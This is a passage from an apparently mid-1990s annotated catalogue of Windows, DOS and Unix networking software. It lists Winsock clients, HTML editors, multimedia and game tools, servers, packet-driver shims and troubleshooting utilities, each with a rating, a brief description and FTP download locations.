ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/viewers/lview31.zip
ftp://lister.cc.ic.ac.uk/pub/wingoph...ge/lview31.zip
ftp://lister.cc.ic.ac.uk/pub/wingoph...e/jview090.zip

MPEG viewer:
ftp://biochemistry.cwru.edu/pub/dos/mpeg2.zip
ftp://lister.cc.ic.ac.uk/pub/wingoph...vies/mpeg2.zip
ftp://decel.ecel.uwa.edu.au/users/michael/mpegw32h.zip (32-bit player,
$25 shareware)

Windows Quicktime:
ftp://lister.cc.ic.ac.uk/pub/wingoph...es/qtwplay.zip

Sound player:
ftp://lister.cc.ic.ac.uk/pub/wingoph.../wnplny09b.zip

*Suggestion
Cello WWW client v1.01 Free

Cello has not kept up with some of the latest features,
such as Mosaic authentication. But it is generally
stable. The current version supports Windows Sockets, and can
be run under Windows NT.

Available at:
ftp://ftp fatty.law.cornell.edu/pub/LII/Cello/cello.zip,
ftp://ftp fatty.law.cornell.edu/pub/LII/Cello/viewers.zip,
the graphics viewer and sound player;
ftp://ftp fatty.law.cornell.edu/pub/LII/Cello/gswin.zip,
a Ghostscript Postscript viewer for Windows.

Suggestion
SetMos v1.2 free

A setup utility for Windows Mosaic by Rod Potter. Available via:
ftp://ftp.cdrom.com/.5/cica/winsock/smosaic.zip
ftp://winftp.cica.indiana.edu/pub/pc...ck/smosaic.zip

*Downright speculation
Miscellaneous HTML editing tools:

ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/hypedit.zip
ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/gt_html.zip
ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/ant_html.zip
http://www.utirc.utoronto.ca/HTMLdocs/pc_tools.html
http://werple.mira.net.au/%7Egabriel/web/html/editors/
ftp://ftp.cray.com/src/WWWstuff/RTF/latest/binaries
HTML docs:
ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/htmldocs.zip

Downright speculation
HTML Editor

Another HTML editor.
ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/htmed09a.zip

Downright speculation
HTML Assistant Free

This an MS Windows-compatible text editor for use in
creation of HTML documents. It supports multiple documents.
Available at:
ftp://ftp.cs.dal.ca/htmlasst/htmlasst.zip,
ftp://ftp.cs.dal.ca/htmlasst/vbrun300.zip,
ftp://ftp.cs.dal.ca/htmlasst/readme.1st

Downright speculation
HTMTools Free

This program is a DLL that allows you to go directly from
MS Word for Windows v2.0 to HTML. Written by Jorma
Hartikka, mailto:Jorma.Hartikka@csc.fi. Available as:
ftp://ftp.funet.fi/pub/msdos/windows...d/htmtl050.zip

Downright speculation
Word Macros for HTML free

This adds a toolbar to MS Word for Windows that supports adding
links, inline images, etc. Available via:
ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/cu_html.zip
ftp://ftp.cuhk.hk/pub/www/windows/util/cu_html.zip

Downright speculation
HTMLWriter Free

HTML Writer is another tool for producing HTML documents.
It is available via ftp://ftp.byu.edu/tmp/htmlwrit.zip.

Downright speculation
HoTMetaL Free

HoTMetaL a freeware version of what is perhaps the best
HTML authoring tool for Windows, HoTMetaL Pro. This
version will not view images, but it will produce legal
HTML. It is available via:
ftp://ftp.ncsa.uiuc.edu/Web/html/hotmetal/Windows
ftp://ftp.ncsa.uiuc.edu/Web/html/Windows


MULTIMEDIA

Recommendation
NCSA Audible Collage

This is a whiteboard program from NCSA that is also implemented
on the Mac and UNIX. Available as:
ftp://winftp.cica.indiana.edu/pub/pc...k/col_12b1.zip
ftp://ftp.cdrom.com/.5/cica/winsock/col_12b1.zip

Recommendation
CU-SeeMe free

This application allows you to view live 4-bit grayscale
video from other participants in a 160x120 window. It does
not support sound. Available via:

ftp://gated.cornell.edu/pub/video/
ftp://gated.cornell.edu/pub/video/CU-SeeMe.FAQ.7-6.txt


*Downright Speculation
Internet Voice Chat v1.1
Shareware $20

This is a program by Richard Ahrens that allows voice conversations over
the Internet. It even supports an answering machine and call screening!
Requires WinSock 1.1, a sound card with microphone, and 386 or better.
Available at:
ftp://ftp.cdrom.com/.5/cica/winsock/ivc11.zip
ftp://www.unb.ca/pub/winsock/ivc11.zip
ftp://ftp.demon.co.uk/pub/ibmpc/wins.../ivc/ivc11.zip

Richard L. Ahrens, 7 Omega Ct., Middletown, NJ 07748 USA;
finger ahrens26@futures.wharton.upenn.edu for status info

Downright speculation
Mr. Squiggle Free

This a Windows-Sockets compatible whiteboard application
that allows two people to share the same drawing window
over the Internet. It was implemented in Visual Basic V3,
and uses Brian Syme's VBWSK Visual Basic Winsock control.
Available at:
ftp://commsun.its.csiro.au/csiro/win.../squiggle.zip,
ftp://commsun.its.csiro.au/csiro/win...e/squiggle.doc


MUDS & GAMES

*Recommendation
iDOOM v1.1

This is the technical advance you've all been waiting for, and which
system administrators worldwide have been dreading:
DOOM over the Internet!

iDOOM is a TCP/IP network driver for DOOM (just as IPXSETUP works for
for IPX nets and SERSETUP works for serial connections).

Available from:
ftp://mrcnext.cso.uiuc.edu/asre/idoom11.zip


Suggestion
MUD Man
Shareware $9, US, $15 non-US

A MUD client. Available as:
ftp://wuarchive.wustl.edu/pub/MSDOS_...mes/mudman.zip

Suggestion
MUDManager
Shareware

A 32-bit MUD client requiring 8 Mb RAM, and 5 Mb or disk space.
Available as:
ftp://caisr2.caisr.cwru.edu/pub/mud/...s/mudmgr01.exe

Suggestion
MUDWin

A Windows MUD implementation by Sam Denton. Available as:
ftp://ftp.std.com/pub/sdenton/mudwin.zip

Suggestion
Windows Chess

Play Chess over the Internet. Available as:
ftp://ftp.cdrom.com/.5/cica/winsock/wschesb1.zip
ftp://ftp.cica.indiana.edu/pub/pc/wi...k/wschesb1.zip

*Suggestion
First International Backgammon Server for Windows (FIBS/W) v1.21
Shareware $40

Available via: ftp://ftp.cica.indiana.edu/pub/pc/wi...s/fibsw121.zip

*Suggestion
Go client
Shareware $5

Available via:
ftp://disabuse.demon.co.uk/pub/ibmpc...go/wigc1_3.zip


TALKING

Downright speculation
WinTalk v1.21 Free

A Windows Sockets-compatible implementation of Ntalk and Talk. Available at:
ftp://elf.com/pub/wintalk/wtalk121.zip
ftp://ftp.cdrom.com/.5/cica/winsock/wtalk121.zip

Recommendation
Windows IRC

This is a Windows IRC client, available as:
ftp://ftp-ns.rutgers.edu/pub/msdos/t...rc/winirc.exe,
ftp://ftp-ns.rutgers.edu/pub/msdos/t...irc/winirc.doc

Downright Speculation
WS-IRC
Shareware $39.95
Students $24.95
Site license: $449.95

A really nice shareware Windows IRC client that supports most
IRCII commands except for DCC and CTCP. Available as:
ftp://ftp.cdrom.com/.5/cica/winsock/wsirc14b.zip
Also available on ftp://cs.bu.edu/irc/clients/pc/windows/wsirc14b.zip,
ftp://winftp.cica.indiana.edu/pub/pc/win3/winsock/
ftp://ftp.undernet.org/, ftp://ftp.demon.co.uk/

Downright Speculation
IRCIIWIN
Shareware, $50
Site license: $450

This is another IRC implementation for Windows. Available via:
ftp://winftp.cica.indiana.edu/pub/pc/win3/winsock/

DIRECTORIES

Recommendation
WS-Finger Free

A Windows Sockets compatible finger implementation. Available at:
ftp://sparky.umd.edu/pub/winsock/wsfngr11.zip

Recommendation
Finger v3.1 Free

The Windows version of Finger, which requires a Winsock DLL.
It works; try it out.
Available at:
ftp://winftp.cica.indiana.edu/pub/pc...k/finger31.zip
ftp://ftp.cdrom.com/.5/cica/winsock/finger31.zip

Downright speculation
PhWin v2.2 Free

Windows implementation of Phby Graeme Campbell. Available at:
ftp://ftp.cdrom.com/.5/cica/winsock/phwin22.zip

Downright speculation
IRL CSO/Phones Client Free

This is implemented in both 16-bit and 32-bit versions, for
those running Win32s, NT, or Windows 95. Available via:
ftp://auck.irl.cri.nz/pub/phone/irlphwin.zip,
ftp://auck.irl.cri.nz/pub/phone/irlph23.zip

Recommendation
WS-Archie

A windows sockets compatible Archie implementation by David Woakes.
Looks very good; runs fine under Windows NT.
ftp://ftp.demon.co.uk/pub/ibmpc/wins...e/wsarch06.zip

Suggestion
WinWhois

This a 16-bit implementations of the Whois protocol. Available via:
ftp://bitsy.mit.edu/pub/dos/potluck/...k/winwhois.zip

Suggestion
WinWhois32

This a 32-bit implementations of the Whois protocol. Available via:
ftp://winftp.cica.indiana.edu/pub/pc...ck/whois32.zip
ftp://ftp.cdrom.com/.5/cica/winsock/whois32.zip

Suggestion
X.500 implementation

A windows sockets compatible X.500 implementation:
ftp://ftp.sunet.se/pub/x500/windows-dua/pixie22b.zip


Suggestion
Windows Directory User Agent

This is another X.500 client with both 16-bit and 32-bit versions.
Available via:
ftp://naic.nasa.gov/software/windows-dua/wduainst.exe


Suggestion
SWIX X.500 implementation

A windows sockets compatible X.500 implementation:
ftp://ftp.umu.se/pub/pc/swix/swix20.exe


PRINTING

Downright Speculation
WLPRSPL v4.0 Shareware

This is a windows sockets-compatible lpr implementation that
offers support for multiple queues. Be aware that LPQ doesn't
run with LAN Workplace for DOS, since it doesn't fully
implement Windows Sockets. It also runs with wslpd's new
"raw spooler," provided that you get lpd up and running
prior to printing, since it will timeout quickly. Also,
remember to name the spool files correctly and once you set
the default spool directory, don't specify a full path in
defining a spool file.

Contact: mailto:th.heil@kfa-juelich.de Available as:
ftp://sunsite.unc.edu/pub/micro/pc-s.../wlprsp40.zip.

Recommendation
WinLPR v1.0 Shareware

This is an implementation of lpr, lpq, and lprm that allows
you to print to a machine running lpd. It works fine for me.
Contact: mailto:th.heil@kfa-juelich.de. Available at:
ftp://sunsite.unc.edu/pub/micro/pc-s...s/winlpr10.zip


DNS

Suggestion
Hlook

This is a forward and reverse lookup tool that gives you the DNS name
from an IP address, and the reverse. Available as:
ftp://petros.psychol.utas.edu.au/pub...oads/iwork.zip

Suggestion
WS Host

This is a forward and reverse lookup tool that gives you the DNS name
from an IP address, and the reverse. Available as:
ftp://winftp.cica.indiana.edu/pub/pc...k/wshost11.zip
ftp://ftp.cdrom.com/.5/cica/winsock/wshost11.zip

Suggestion
NSLookup Free

This is perhaps the best of the Windows NSlookup clients. Available via:
ftp://winftp.cica.indiana.edu/pub/pc...k/nslookup.zip
ftp://ftp.cdrom.com/.5/cica/winsock/nslookup.zip

Suggestion
Wormhole Free

Another DNS implementation for Windows. Available via:
ftp://winftp.cica.indiana.edu/pub/pc...k/wormhole.exe
ftp://ftp.cdrom.com/.5/cica/winsock/wormhole.exe

TIME SYNCHRONIZATION

Downright speculation
WinTimeSync Free

A Windows Sockets-compatible implementation of the UNIX time
service (port 37). Available at:
ftp://ftphost.cac.washington.edu/pub...k/tsync1_8.zip
ftp://ftp.cdrom.com/.5/cica/winsock/tsync1_8.zip
ftp://winftp.cica.indiana.edu/pub/pc...k/tsync1_8.zip

Downright speculation
Tardis Free

A Windows Sockets-compatible implementation of NTP. Available at:
ftp://ftp.cdrom.com/.5/cica/winsock/tardis.zip
ftp://winftp.cica.indiana.edu/pub/pc...ock/tardis.zip

Downright speculation
WSNTP
Shareware $25

A Windows Sockets-compatible implementation of Network Time Protocol.
Available at:
ftp://ftp.cdrom.com/.5/cica/winsock/wsntp14f.zip
ftp://winftp.cica.indiana.edu/pub/pc...k/wsntp14f.zip

Downright speculation
Windows Time Client Free

A Windows Sockets-compatible implementation of NTP, with source
code. Available at:
ftp://ftp.cdrom.com/.5/cica/winsock/wstim101.zip
ftp://winftp.cica.indiana.edu/pub/pc...k/wstim101.zip


MISCELLANEOUS APPLICATIONS

Downright Speculation
WinIRX free

A Windows Sockets program that makes it easier to search
or retrieve from the National Center for Biotechnology
Information (NCBI) Retrieve Email server. Available via:
ftp://biochemistry.cwru.edu/pub/dos/win-irx.zip,
ftp://biochemistry.cwru.edu/pub/dos/win-irx.txt.


*Suggestion
WSNWDemo

This includes Finger, Ping, and Echo clients as well as an
Echo server. Useful for debugging purposes. Available via:
ftp://winftp.cica.indiana.edu/pub/pc...k/wsnwdemo.zip

*Suggestion
HOP

This is a Windows version of traceroute for Windows NT, which
I suppose is useful since the built-in NT traceroute is a
command-line utility. Available via:
ftp://winftp.cica.indiana.edu/pub/pc/win3/nt/hop.zip

*Downright Speculation
Pasock v1.0

Pasock includes sample Windows Sockets programs for Borland
Pascal, including a finger client and server. Written by
Mike Caughran, mailto:71034.2371@CompuServe.com. Available as:
ftp://oak.oakland.edu/SimTel/win3/winsock/pasock10.zip


APPLICATIONS DEMOS

*Suggestion
Starnet X-Window Server Demo Free

This is a a demonstration version of the Starnet X-server.
The pricing is reasonable and the product is fast.
They have versions that work with Windows Sockets,
packet drivers under DOS, and some other brands under
DOS. It is available at:
ftp://bart.starnet.com/pub/xwin288b.exe
ftp://bart.starnet.com/pub/xwin288b.txt
ftp://bart.starnet.com/pub/xwin_man.ps

ftp://ftp.ipac.net/pub/starnet/pub/xwindemo.zip
ftp://winftp.cica.indiana.edu/pub/pc...o/xwindemo.zip
ftp://polecat.law.indiana.edu/pub/mi...o/xwindemo.zip
ftp://gatekeeper.dec.com/.f/micro/ms...o/xwindemo.zip

The 32-bit version requires Win32s while running under
Windows 3.1 and WFW 3.11. It is available as:
ftp://ftp.ipac.net/pub/starnet/public/xdemo32.zip

Startnet Communications, mailto:support@starnet.com

*Suggestion
ECSmail Commercial

ECSmail is a commercial product supporting IMAP with DOS,
Windows and Mac clients. this is a demo version. Available at:
ftp://info.asu.edu/pub/mail/ecs/ecsm...ows/mua2-3.exe

ISA Corp.; (403)420-8081, fax: (403)420-8037, mailto:ecs-sales@edm.isac.ca

Downright Speculation
Vis-a-Vis
Demo version free

This is the demo version of a collaborative work application that
includes white boards, slides, and video conferencing application.
Available via: ftp://resudox.net/pub/Vis/vis.zip

*Downright Speculation
Internet Global Phone
Demo version free

Available via:
ftp://micros.hensa.ac.uk /mirrors/cica/win3/demo/igp16_102.zip
ftp://micros.hensa.ac.uk /mirrors/cica/win3/demo/igp8_102.zip


SHIMS

Downright speculation
ODITRPKT v2.0

Supports packet drivers over ODI and token ring.
Available as ftp://datacomm.ucc.okstate.edu/pub/oditrpkt/BETA12.ZIP

Recommendation
DIS_PKT free

Provides a packet driver over an NDIS driver. This is useful
when you need to run both packet driver software (such as
KA9Q or NCSA Telnet) and NDIS-based software (such as Chameleon NFS).
The latest version works with WFW v3.11, and includes a help file
WFW.TXT with sample PROTOCOL.INI files, etc.

Available via:
ftp://biochemistry.bioc.cwru.edu/pub...t/dis_pkt9.zip
ftp://netlab.usu.edu/novell.dir/dis_pkt9.zip

Recommendation
NDIS3PKT.386 Free

For all of us who have been wondering whether packet driver software
has a future, this little program by Dan Lanciani
(ddl@harvard.edu), provides the answer - yes!
This is a VxD that provides DOS-box and Windows support of packet
driver applications on top of the NDIS v3.0 interface used by WfW 3.11,
Windows NT, and Windows 95. Previously, it was necessary to run
NDIS v2.0 in order to use DIS_PKT, which prevented WfW from
using 32-bit adapter drivers.

Available at ftp://newdev.harvard.edu/pub/ndis3pkt/README

Suggestion
PDEther v1.03

Supports ODI over packet drivers. Although I haven't had much
success with it, others have used it on thousands of machines
and found it better than ODIPKT, especially under Windows.
Available as:
ftp://sjf-lwp.novell.com/odi/pdether/getpde103.zip

Recommendation
Odipkt v3.0

Supports packet drivers over ODI. This is the recommended
method of getting Novell NetWare to coexist with a packet-driver
based TCP/IP stack. Compatible with WINPKT.

Available as ftp://newdev.harvard.edu/pub/odipkt/odipkt.com,
ftp://newdev.harvard.edu/pub/odipkt/net.cfg,
ftp://newdev.harvard.edu/pub/odipkt/odipkt.8,
ftp://newdev.harvard.edu/pub/odipkt/odipkt.asm.

Suggestion
ODINSUP

This is an NDIS over ODI shim from Novell. This allows you to run
software requiring ODI drivers, as well as software requiring NDIS
drivers. Since IPX and TCP/IP are different protocols, you will not
need to run PKTMUX.

This was available via:
ftp://ftp.novell.com/netwire/novfile...les/WSDOS1.EXE

But it has apparently vanished. Anyone know where it has gone?


TCP/IP AND NETWARE

Downright speculation
BYU Netware shell drivers free

Allows you to build an IPX.COM that runs over packet drivers.
Works by providing .obj and .lan files for the Neware shell
generation program, shgen.exe. Running shgen.exe produces netX.com
as well as an ipx.com for your interface card. Again, I've had
better results with ODIPKT than with this.

Available at:
ftp://vax.ftp.com/pub/packet.driver/pubdom/byu

Downright speculation
Intel PDIPX free

Another way of building an IPX.COM that runs over packet drivers.

Available at:
ftp://ftp sun.soe.clarkson.edu/pub/packet-drivers/intel/pdipx.zip

Suggestion
PDEther v1.03

An ODI over packet driver shim. See entry under Drivers and Shims.

Recommendation
Odipkt v3.0

A packet driver over ODI shim. See entry under Drivers and Shims.

DOS TCP/IP STACKS

Suggestion
WATTCP free

Mike Durkin, Quentin Smart and Murf have updated Erick Engelke's
WATTCP, the development package for TCP/IP. Available via:
ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/apps.zip (binaries),
ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/README,
ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/wattcp.zip (source code)
ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/gophserv.zip (example app)
ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/smtpserv.zip (example app)

Erick Engelke, WATTCP Architect; mailto:erick@uwaterloo.ca

Suggestion
Trumpet TCP/IP stack

This TCP/IP stack comes in three versions: a TSR version; a
Windows Sockets version (discussed below); and a built-in
version. It includes a traceroute program called hopchk2.

Available as ftp://ftp.utas.edu.au/pc/trumpet/abi-version/
Available at ftp://biochemistry.bioc.cwru.edu/pub/trumpet/tcp201.zip

P. Tattam, Programmer; Psychology Department, University of
Tasmania, Hobart, Tasmania, Australia, 61-02-202346;
mailto:peter@psychnet.psychol.utas.edu.au

Downright Speculation
PC-IP Free

This was the software that started it all. It has been worked
on at MIT, Carnegie Mellon, and Harvard and other places, but
by now is out of date. Its authors recommend looking at newer
alternatives such as NCSA, WATTCP, etc.

Harvard version: Source code:
ftp://ftp newdev.harvard.edu,/pub/pcip/pcip.tar.Z,
ftp://ftp newdev.harvard.edu,/pub/pcip/doc.tar.Z,
ftp://ftp newdev.harvard.edu,/pub/pcip/readme,
ftp://ftp newdev.harvard.edu,/pub/pcip/readme.cmu
Binaries: ftp://newdev.harvard.edu/pub/pcip/bin/packet/
ftp://newdev.harvard.edu/pub/pcip/bin/general/

Another version:
ftp://netlab.usu.edu/netwatch/pcip96.zip

DOS WITHIN WINDOWS

Recommendation
WINPKT free

WINPKT is needed for running DOS applications with
built-in TCP/IP stacks under Windows, as well as for
some Windows-based TCP/IP stacks (suck as Trumpet
Winsock). Compatible with ODIPKT.
Available at ftp://biochemistry.bioc.cwru.edu/pub...dos/winpkt.com

Downright speculation
PKTINT

PKTINT is included with the non-Winsock-compatible version
of WinQVT/Net to communicate with the real mode packet driver.
Available at ftp://biochemistry.micro.umn.edu/pub...t/qvtne397.zip

Recommendation
PKTMUX v1.2 Free

This program allows multiple TCP/IP protocol stacks to
use a single packet driver. It can also run over shims
such as DIS_PKT; I have used it with four or more
simultaneous DOS-based applications. Works great. However,
if you are only using a single DOS TCP/IP application
under Windows, use WINPKT instead, since it takes less
memory and is faster.

Available via ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/pktmux12.exe,
or ftp://biochemistry.bioc.cwru.edu/pub/dos/pktmux12.exe,
ftp://biochemistry.bioc.cwru.edu/pub/dos/pktmux12.txt



WINDOWS SERVERS

*Recommendation
Fingerd
Shareware $10

A Windows Sockets compatible finger server:
ftp://sparky.umd.edu/pub/winsock/wfngrd12.zip
ftp://ftp.cdrom.com/.5/cica/winsock/wfngrd12.zip

*Suggestion
WinSMTP

WinSMTP is a shareware SMTP and POP3 daemon for Windows Sockets v1.1,
writen by Jack De Winter (jackdw@metrics.com). WinSMTP
can be configured for full Internet access as well as for use with a firewall;
it supports MX record resolution as well as use with a mail relay machine.

Available via:
ftp://ftp.metrics.com/smtp/ssmtp104.zip
http://www.metrics.com/smtp/index.html

Downright Speculation
Web4Ham Free

A Windows Sockets compatible HTTP server, by Gunter Hille,
mailto:hille@informatik.uni-hamburg.de. Available as:
ftp://ftp.cdrom.com/.5/cica/winsock/web4ham.zip
ftp://ftp.informatik.uni-hamburg.de/...ck/web4ham.zip

Downright Speculation
Hamburg Gopher Server

Available at:
ftp://ftp.informatik.uni-hamburg.de/...ham/go4ham.zip
ftp://ftp.informatik.uni-hamburg.de/...ham/go4ham.doc

Recommendation
SerWeb v0.3 Free

A fully functional HTTPd implementation for Windows.
For info, mailto:estrella@cass.ma02.bull.com. Available as:
ftp://sunsite.unc.edu/pub/micro/pc-s...s/serweb03.zip

*Suggestion
NCSA HTTPd for Windows Free

This is a fully compliant HTTTP server from NCSA that supports
scripts, and is now maintained by Robert Denny, mailto:rdenny@netcom.com.
For information, try: http://www.alisa.com/win-httpd/

This home page contains news, latest releases, and FTP links to the
server package. The FTP server location is:
ftp://ftp.alisa.com/pub/win-httpd/


Downright speculation
Cookie server Free

This is a Windows-Sockets compatible fortune cookie server
(RFC 865) that runs on port 17. Available at:
ftp://winftp.cica.indiana.edu/pub/pc.../cooksock.zip.
ftp://ftp.cdrom.com/.5/cica/winsock/cooksock.zip

Contact: mailto:alun@huey.wst.com

Suggestion
Windows Sockets for PC/NFS free

An implementation of Windows Sockets for PC/NFS.

Available at:
ftp://winftp.cica.indiana.edu/pub/pc...k/wsck-nfs.zip
ftp://ftp.cdrom.com/.5/cica/winsock/wsck-nfs.zip

*Suggestion
WFTPD $15 (shareware)

An FTP daemon for Windows by Alun Jones (mailto:alun@fc.net)
that supports multiple logins, simultaneous transfers, runs
over most Winsocks, and is RFC 959 and 1123 compliant. WFTPD
also allows the site to be read only; allows configurable
time-outs; can log to a file.

Available at:
ftp://winftp.cica.indiana.edu/pub/pc...k/wftpd196.zip
ftp://oak.oakland.edu/SimTel/win3/winsock/wftpd196.zip
ftp://ftp.cdrom.com/.5/cica/winsock/wftpd19c.zip

Downright Speculation
WinLPD Free

An lpd implementation for Windows. mailto:dog@inel.gov

Available at:
ftp://ftp.cdrom.com/.5/cica/winsock/wslpd.zip

Downright speculation
Text server

This is an extended finger client, which can also serve text
files. Available at
ftp://winftp.cica.indiana.edu/pub/pc...ock/txtsrv.zip
ftp://ftp.cdrom.com/.5/cica/winsock/txtsrv.zip

Recommendation
SMTP daemon v1.6 free

A Windows-Sockets SMTP daemon, complete with source code.
Works fine. Available at:
ftp://winftp.cica.indiana.edu/pub/pc...k/wsmtpd16.zip
ftp://ftp.cdrom.com/.5/cica/winsock/wsmtpd16.zip

mailto:iblenke@cip60.corp.harris.com

WINDOWS NT SERVERS

Recommendation
Windows NT FTP daemon Free

This is a Windows NT version of ftpd. Quite fast.
Available at:
ftp://sunsite.unc.edu/pub/micro/pc-s...ps/nt-ftpd.zip

Recommendation
HTTPS v0.9 Free

This is a very powerful and easy to install HTTP server,
probably the best I've seen running under any OS.
HTTPS is a Windows NT HTTP v1.0 server for Windows NT
produced as part of the European Microsoft Windows NT
Academic Centre (EMWAC). Binaries are available for
Intel and DEC Alpha architectures. HTTPS is
multi-threaded, understands HEAD and GET methods,
supports Forms and CGI-BIN scripts, and runs as a Windows
NT service.

HTTPS (For HTTP Service) can be configured via the control
panel, is integrated with the WAISS server, and logs HTTP
transactions in the event logger. Available at:
ftp://emwac.ed.ac.uk/pub/https/HSI386.ZIP (Intel version),
ftp://emwac.ed.ac.uk/pub/https/HSALPHA.ZIP (DEC Alpha version),
ftp://emwac.ed.ac.uk/pub/https/HHTPS.TXT
(description of the server)

Recommendation
GOPHERS v0.6 Free

This is a Windows NT Gopher server for Windows NT
produced as part of the European Microsoft Windows
NT Academic Centre (EMWAC). Binaries are available
for Intel and DEC Alpha architectures. This gopher
server is multi-threaded, and runs as a Windows NT
service. It can be configured via the control panel.
Available at:
ftp://emwac.ed.ac.uk/pub/gophers/GSI386.ZIP (Intel version),
ftp://emwac.ed.ac.uk/pub/gophers/GSALPHA.ZIP (DEC Alpha version),
ftp://emwac.ed.ac.uk/pub/gophers/MESSAGE.TXT
(description of the server)

Recommendation
WAISS v0.8 Free

This is a Windows NT WAIS server for Windows NT produced as
part of the European Microsoft Windows NT Academic Centre
(EMWAC). It inclues an indexing tool, WAISINDX that lets you
index documents in a number of formats. This is the easiest
to set up WAIS server I've seen, and it is well integrated
with the Gopher and HTTP servers.

Binaries are available for Intel and DEC Alpha
architectures. This WAIS server is multi-threaded, and
runs as a Windows NT service. It can be configured via
the control panel. Available at:
ftp://emwac.ed.ac.uk/pub/waistool
ftp://emwac.ed.ac.uk/pub/waiss

Downright speculation
NT-Perl Free

This is a Windows NT implementation of Perl v4.036, ported by Intergraph.

Available at:
ftp://emwac.ed.ac.uk/pub/ntperl.zip
ftp://winftp.cica.indiana.edu/pub/pc...nt/ntperlb.zip

Downright speculation
SOSSNT Free

This is a Winsock-compatible NFS server for NT v3.1. It is
derived from SOSS originally written for PC-IP. Available
at:
ftp://winftp.cica.indiana.edu/pub/pc.../sossntr3.zip.

Downright speculation
UUPC for NT Free

This is a version of UUCP running over either serial port
or TCP/IP, under Windows NT. Available via:
ftp://winftp.cica.indiana.edu/pub/pc...t/upc12bn1.zip
ftp://winftp.cica.indiana.edu/pub/pc...t/upc12bn2.zip
ftp://winftp.cica.indiana.edu/pub/pc...t/upc12bn3.zip
ftp://ftp.clarkson.edu/pub/uupc

Downright speculation
SMTP Gateway for NT Free

I have not a clue as to what this does, other than that its name
suggests some kind of SMTP gateway, and that it runs under Windows NT.
If you know what this does, please inform me. Available via:
ftp://winftp.cica.indiana.edu/pub/pc...t/smtpgate.zip

Downright speculation
NNS Free

This is an NNTP server for Windows NT by Jeff Coffler,
mailto:coffler@jeck.seattle.wa.us.
Available via:
ftp://ftp.wa.com/pub/local/ntnews/nns.zip

This program includes an NT version of TIN, and requires a
32-bit version of unzip that is available at the same FTP site.


UNIX SERVERS

Recommendation
Samba v1.8 Free

Samba includes a UNIX-based SMB file and print server,
as well as a UNIX SMB client and a NetBIOS nameserver (NBNS).
It can be used with clients such as Windows for Workgroups,
Windows NT, OS/2, Pathworks, and LanManager for DOS. This
means that it can attach to Windows NT and WFW servers or
mount portions of the UNIX file system on these machines.
You can also print from UNIX to an SMB printer by adding
an entry in /etc/printcap. It supports username/password
security, umask support, guest connections and system
attribute mapping. Samba is being run under Linux,
SunOS, Solaris, SVR4, Ultrix, OSF1, AIX, BSDI, NetBSD,
Sequent, HP-UX, SGI, FreeBSD, and NeXT.

I just installed this on my UNIX machine, and I am ecstatic.
I haven't gotten the print server to work yet (hints anyone?),
but I am sharing files between the UNIX machine and others
running WFW and NT. Compared with publicly distributable NFS
implementations, this SMB-based solution integrates well with
Windows, is easier to secure (transfers occur over TCP, not UDP)
leaves the PCs with quite a bit more low memory (570K vs.
470K for NFS), is more stable, and faster than most NFS
implementations to boot. What more could you ask for?

Not only does Samba implement B-node technology, but it also
appears to support P and M node technology via a UNIX implementation
of the NetBIOS Name Server (NBNS), which runs as a daemon called
nmbd. The SMB server, smbd, can either be called up by inetd
or run as a daemon.

Other nice features include proper locking as required by OLE2 apps. This
is not yet handled by any NFS implementations. Only major deficit is
that browsing is not yet supported.

Available at:
ftp://nimbus.anu.edu.au/pub/tridge/s...-latest.tar.gz

PUTTING BBSes ON THE INTERNET

Suggestion
Major TCP/IP

This is an add-on for the multiline MajorBBS that adds incoming/outgoing
Telnet/RLogin and a native FTP client. This does not require use of a
Novell server, or in fact, any "nanny" server.

The TCP/IP stack used in the product can support up to 255 concurrent TCP
sessions and has been tested with over 150 active connections at the same time.

MajorTCP/IP has been shipping since April 1st, and the FTP Client will be
shipping by the One BBSCON '94.

Digital Consulting Services; (212)697-7340, (800)899-2002,
mailto:Nyvideo@gcomm.com

WAN CONNECTIVITY

Suggestion
Niwot synchronous board $695

This Niwot synchronous adapter comes with a packet driver
that works with PCROUTE or KA9Q, and can handle speeds up to T1.

Niwot Networks, (303)444-7765

Suggestion
RISCom N1 single port card $495
N2 dual port card

This board is supported by BSD/386, and supports HDLC at
56 Kbps for connection to Cisco routers running PPP.

SDL Communications, Inc.; (508)238-4490

Suggestion
Livingston Portmaster IRX-114 terminal servers

Livingston Enterprises; (800)458-9966, fax: (510)426-8951,
mailto:doug@livingston.com

Suggestion
Morning Star Routers

Morning Star Technologies, Inc; (614)451-1883, (800)558-7827,
fax: (614)459-5054, mailto:marketing@morningstar.com,
mailto:support@morningstar.com, ftp archive: ftp://ftp.morningstar.com/,
WWW server: http://www.morningstar.com/

Suggestion
Tylink ONS-150 CSU/DSU

This is a reasonably priced T1 CSU/DSU.

Capella Networking; (415)591-3400, (408)225-2655, mailto:dstolz@capella.com

TROUBLESHOOTING

Downright Speculation
Windows Ping free

Available at:
ftp://ftp.usma.edu/pub/msdos/winsock.files/ws_ping.zip
ftp://ftp.cdrom.com/.5/cica/winsock/ws_ping.zip

John Junod; mailto:zj8549@trotter.usma.edu; mailto:junodj@gordon-emh2.army.mil
NCOIC, Technology Integration Branch, Computer Science School,
FT Gordon, GA 30905; (706)791-3245 AV:780-3245

*Recommendation
WS_Watch free

A nifty little utility that lets you draw a network and then shows you
see when nodes go up and down. Can do ping, traceroute, telnet, nslookup
and more. Available at: ftp://ftp.usma.edu/pub/msdos/ and
ftp://ftp.cdrom.com/.5/winsock/wswatch.zip

*Downright Speculation
Syslogd free

A port of syslog to Windows. Useful for keeping track of error messages
generated by routers, bridges, applications, etc. Available as:
ftp://ftp.cdrom.com/.5/winsock/syslogd.zip


Downright Speculation
DOS Ping free

Available at:
ftp://ftp.usma.edu/pub/msdos/misc/ping.exe

Downright Speculation
Traceroute free

A version of traceroute for DOS, available at:
ftp://biochemistry.bioc.cwru.edu/pub/trumpet/tcp201.zip

There are also versions of ping and traceroute included with Trumpet Winsock.

Downright Speculation
SNMP monitor Free

An SNMP monitor for Sun, available at:
